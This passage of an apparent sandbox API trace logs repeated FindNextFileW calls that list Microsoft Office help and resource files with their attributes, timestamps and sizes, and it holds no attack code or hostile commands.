hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12dd5ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9ac4a8a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x228fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYNC.HXS", cAlternateFileName="")) returned 1 [0186.970] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdd36584, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcdd36584, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdf4c298e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x522a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="lyncDesktopResources.dll", cAlternateFileName="LYNCDE~1.DLL")) returned 1 [0186.970] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf46b8986, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf46b8986, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9b5d49a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x21c80, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYNC_BASIC.HXS", cAlternateFileName="LYNC_B~1.HXS")) returned 1 [0186.970] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ac4a8a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ac4a8a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ac4a8a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x286, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYNC_BASIC_COL.HXC", cAlternateFileName="LYNC_B~1.HXC")) returned 1 [0186.971] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9b5d49a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9b5d49a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9b8364e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYNC_BASIC_COL.HXT", cAlternateFileName="LYNC_B~1.HXT")) returned 1 [0186.971] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa2f6cec, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa2f6cec, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa31ce71, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYNC_BASIC_F_COL.HXK", cAlternateFileName="LYNC_B~2.HXK")) returned 1 [0186.971] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a9e866, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a9e866, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ac4a8a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYNC_BASIC_K_COL.HXK", cAlternateFileName="LYNC_B~1.HXK")) returned 1 [0186.971] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ac4a8a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ac4a8a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ac4a8a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x268, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYNC_COL.HXC", cAlternateFileName="")) returned 1 [0186.971] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ac4a8a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ac4a8a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ac4a8a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYNC_COL.HXT", cAlternateFileName="")) returned 1 [0186.971] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a9e866, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a9e866, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ac4a8a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYNC_F_COL.HXK", cAlternateFileName="LYNC_F~1.HXK")) returned 1 [0186.971] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a9e866, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a9e866, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ac4a8a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYNC_K_COL.HXK", cAlternateFileName="LYNC_K~1.HXK")) returned 1 [0186.971] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4c15e5f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4c15e5f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x22756, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYNC_ONLINE.HXS", cAlternateFileName="LYNC_O~1.HXS")) returned 1 [0186.972] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa3430bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa3430bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa38f59d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x28b, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYNC_ONLINE_COL.HXC", cAlternateFileName="LYNC_O~1.HXC")) returned 1 [0186.972] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ac4a8a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ac4a8a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9b5d49a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYNC_ONLINE_COL.HXT", cAlternateFileName="LYNC_O~1.HXT")) returned 1 [0186.972] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9b8364e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9b8364e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ba9874, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYNC_ONLINE_F_COL.HXK", cAlternateFileName="LYNC_O~2.HXK")) returned 1 [0186.972] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ac4a8a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ac4a8a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3dba42, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYNC_ONLINE_K_COL.HXK", cAlternateFileName="LYNC_O~1.HXK")) returned 1 [0186.972] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca8e89fe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8e89fe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdb60697b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x136a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPIR.DLL", cAlternateFileName="")) returned 1 [0186.972] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb8dc6bb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb8dc6bb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeba33b90, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2b6b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPISHELLR.DLL", cAlternateFileName="MAPISH~1.DLL")) returned 1 [0186.972] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec51479d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xec51479d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9b5d49a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6ce48, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOR6INT.DLL", cAlternateFileName="")) returned 1 [0186.973] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x468bdf3, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x468bdf3, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x468bdf3, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x58c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOVE.VRD", cAlternateFileName="")) returned 1 [0186.973] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3d4ec4f, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x3d4ec4f, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x3d4ec4f, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x3a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPXRES.DLL", cAlternateFileName="")) returned 1 [0186.973] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1de43d5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9ba9874, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4297c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS.HXS", cAlternateFileName="")) returned 1 [0186.973] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9b8364e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9b8364e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ba9874, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x286, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS_COL.HXC", cAlternateFileName="MSACCE~1.HXC")) returned 1 [0186.973] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9b8364e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9b8364e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ba9874, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS_COL.HXT", cAlternateFileName="MSACCE~1.HXT")) returned 1 [0186.973] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9b8364e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9b8364e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ba9874, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS_F_COL.HXK", cAlternateFileName="MSACCE~2.HXK")) returned 1 [0186.973] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9b5d49a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9b5d49a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9b8364e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS_K_COL.HXK", cAlternateFileName="MSACCE~1.HXK")) returned 1 [0186.973] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcede6ced, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcede6ced, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee75a612, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x143c68, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSAIN.DLL", cAlternateFileName="")) returned 1 [0186.979] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4db6809, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9362, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.ACL", cAlternateFileName="")) returned 1 [0186.979] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf10a1263, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf12b7378, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6078, dwReserved0=0x0, dwReserved1=0x0, cFileName="msotdintl.dll", cAlternateFileName="MSOTDI~1.DLL")) returned 1 [0186.979] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xef93c032, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xef93c032, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xef93c032, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb2c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msotelemetryintl.dll", cAlternateFileName="MSOTEL~1.DLL")) returned 1 [0186.979] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf3143659, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf3143659, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9b8364e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d0b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUC.HXS", cAlternateFileName="")) returned 1 [0186.979] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9b5d49a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9b5d49a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9b8364e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x277, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUC_COL.HXC", cAlternateFileName="MSOUC_~1.HXC")) returned 1 [0186.979] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa284551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa284551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa2f6cec, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUC_COL.HXT", cAlternateFileName="MSOUC_~1.HXT")) returned 1 [0186.979] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9b5d49a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9b5d49a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9b8364e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUC_F_COL.HXK", cAlternateFileName="MSOUC_~2.HXK")) returned 1 [0186.979] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9b5d49a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9b5d49a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9b5d49a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUC_K_COL.HXK", cAlternateFileName="MSOUC_~1.HXK")) returned 1 [0186.980] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4c15e5f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4c15e5f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5f470, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.HXS", cAlternateFileName="")) returned 1 [0186.980] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ba9874, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ba9874, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ba9874, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.OPG", cAlternateFileName="")) returned 1 [0186.980] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ba9874, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ba9874, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ba9874, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x277, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB_COL.HXC", cAlternateFileName="MSPUB_~1.HXC")) returned 1 [0186.980] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ba9874, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ba9874, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ba9874, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB_COL.HXT", cAlternateFileName="MSPUB_~1.HXT")) returned 1 [0186.980] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ba9874, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ba9874, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ba9874, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB_F_COL.HXK", cAlternateFileName="MSPUB_~2.HXK")) returned 1 [0186.980] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ba9874, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ba9874, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ba9874, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB_K_COL.HXK", cAlternateFileName="MSPUB_~1.HXK")) returned 1 [0186.980] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ba9874, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ba9874, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ba9874, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7d682, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSQRY32.CHM", cAlternateFileName="")) returned 1 [0186.980] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf632eb9d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf632eb9d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf632eb9d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x70c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSRINTL.DLL", cAlternateFileName="")) returned 1 [0186.981] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46b2075, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46b2075, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x46b2075, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK.CSS", cAlternateFileName="")) returned 1 [0186.981] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46b2075, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46b2075, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x46b2075, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x734, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK1.VRD", cAlternateFileName="")) returned 1 [0186.981] FindNextFileW (in: 